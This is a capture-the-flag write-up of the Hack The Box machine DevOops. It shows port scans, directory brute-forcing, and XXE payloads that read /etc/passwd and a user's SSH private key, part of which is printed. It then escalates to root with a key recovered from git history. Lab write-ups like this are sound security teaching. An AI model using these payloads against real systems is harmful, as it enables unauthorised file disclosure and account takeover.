DevOops was my first introduction to XXE. I really enjoyed researching the vulnerability and how it manifests itself in applications. The box creator did an superb job of creating a development environment with real development related security issues.
As usual, we start off with a
masscan followed by a targeted
masscan -e tun0 -p0-65535,U:0-65535 --rate 700 -oL scan.10.10.10.91.all 10.10.10.91
open tcp 5000 10.10.10.91 1539295749 open tcp 22 10.10.10.91 1539295813
nmap -sC -sV -oN nmap.scan.tcp -p 22,5000 10.10.10.91
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 42:90:e3:35:31:8d:8b:86:17:2a:fb:38:90:da:c4:95 (RSA) | 256 b7:b6:dc:c4:4c:87:9b:75:2a:00:89:83:ed:b2:80:31 (ECDSA) |_ 256 d5:2f:19:53:b2:8e:3a:4b:b3:dd:3c:1f:c0:37:0d:00 (ED25519) 5000/tcp open http Gunicorn 19.7.1 |_http-server-header: gunicorn/19.7.1 |_http-title: Site doesn't have a title (text/html; charset=utf-8). Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Gunicorn ‘Green Unicorn’ is a Python WSGI HTTP Server for UNIX. Since it’s a web server, gobuster was the next step.
gobuster -u http://10.10.10.91:5000/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/common.txt -s '200,204,301,302,307,403,500' -e -t 20 -o "gobuster.$(echo http://10.10.10.91:5000 | tr \/ _).out"
http://10.10.10.91:5000/feed (Status: 200) http://10.10.10.91:5000/upload (Status: 200)
We begin by browsing to the URLs that
gobuster identified. /upload sounds promising, so we can begin there.
After browsing to /upload we’re presented with a few pieces of information.
An XML External Entity vulnerability (abbreviated XXE) is an attack against an application parsing XML input from an unreliable source. It’s usually caused by a misconfigured XML parser. We are definitely an unreliable source, and the site appears to accept XML. To begin, I went to OWASP’s XXE entry and grabbed an attack skeleton, shown below.
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" >]> <foo>&xxe;</foo>
Just uploading this won’t produce any results, but with a few modifications based on the other pieces of information available on the page (which I performed in Burp’s repeater), we can craft a PoC to disclose /etc/passwd. The important part here was including the proper XML tags to satisfy the checks on the backend.
<?xml version="1.0"?> <!DOCTYPE foo [ <!ELEMENT foo ANY > <!ENTITY xxe SYSTEM "file:///etc/passwd" > ]> <feed> <Author>epi</Author> <Subject>stuff</Subject> <Content>&xxe;</Content> </feed>
In addition to /etc/passwd, there are a few user names for us to investigate. The only other service listening on the box is ssh, so keys seem like a good target to test. After a few tries, we’re successful in grabbing roosa’s private key. If you haven’t read it before, I’d recommend reading digininja’s blog post (linked in Additional Reading)
PROCESSED BLOGPOST: Author: epi Subject: stuff Content: -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7 9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J -------------8<-------------
vi with a copy/paste from Burp and a
chmod 600 later, we’re able to login as roosa.
ssh -i roosa_id_rsa 10.10.10.91 -l roosa
-------------8<------------- Last login: Wed Oct 10 21:46:00 2018 from 10.10.14.15 roosa@gitter:~$
\o/ - access level: roosa
Basic enumeration steps showed an interesting file
/home/roosa/work/blogfeed/resources/integration/authcredentials.key, this RSA key wasn’t actually useful, but it does get us thinking about the right things.
Upon further enumeration, specifically of roosa’s
.bash_history, we see some interesting commit messages.
/home/roosa/.bash_history ════════════════════════════ mv resources/authcredentials.key resources/integration/ git add resources/integration/authcredentials.key git commit -m 'add key for feed integration from tnerprise backend' ls -altr resources/integration/ git push ssh-keygen -------------8<------------- cp kak resources/integration/authcredentials.key git add resources/integration/authcredentials.key git commit -m 'reverted accidental commit with proper key' git push
Taking into consideration the name of the box (DevOops) the hostname of the target (gitter) along with the fact that we see a
.git folder in the
/home/roosa/work/blogfeed, it would seem that
git may be a good avenue of approach.
git log in the
/home/roosa/work/blogfeed directory, those two commits can be seen along with their commit ids.
-------------8<------------- commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <firstname.lastname@example.org> Date: Mon Mar 19 09:33:06 2018 -0400 reverted accidental commit with proper key commit d387abf63e05c9628a59195cec9311751bdb283f Author: Roosa Hakkerson <email@example.com> Date: Mon Mar 19 09:32:03 2018 -0400 add key for feed integration from tnerprise backend -------------8<-------------
git log --stat on the later commit shows us that the key file we noticed earlier was added, then swapped out for a different key.
commit 33e87c312c08735a02fa9c796021a4a3023129ad Author: Roosa Hakkerson <firstname.lastname@example.org> Date: Mon Mar 19 09:33:06 2018 -0400 reverted accidental commit with proper key resources/integration/authcredentials.key | 51 +++++++++++++++++++++++++-------------------------- 1 file changed, 25 insertions(+), 26 deletions(-) commit d387abf63e05c9628a59195cec9311751bdb283f Author: Roosa Hakkerson <email@example.com> Date: Mon Mar 19 09:32:03 2018 -0400 add key for feed integration from tnerprise backend resources/integration/authcredentials.key | 28 ++++++++++++++++++++++++++++ 1 file changed, 28 insertions(+)
Now that we know what happened, we can utilize
git to essentially go back in time and grab the key in its previous state.
git checkout d387abf63e05c9628a59195cec9311751bdb283f
Note: checking out 'd387abf63e05c9628a59195cec9311751bdb283f'. -------------8<------------- HEAD is now at d387abf... add key for feed integration from tnerprise backend
The directory was reverted back to its state at the time of the commit we checked out. Let’s leverage our reverted RSA key for privesc.
chmod 600 resources/integration/authcredentials.key ssh -i resources/integration/authcredentials.key firstname.lastname@example.org
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686) -------------8<------------- Last login: Thu Oct 11 20:46:22 2018 from 10.10.14.2 root@gitter:~#
\o/ - root access
I hope you enjoyed this write-up, or at least found something useful. Drop me a line on the HTB forums or in chat @ NetSec Focus.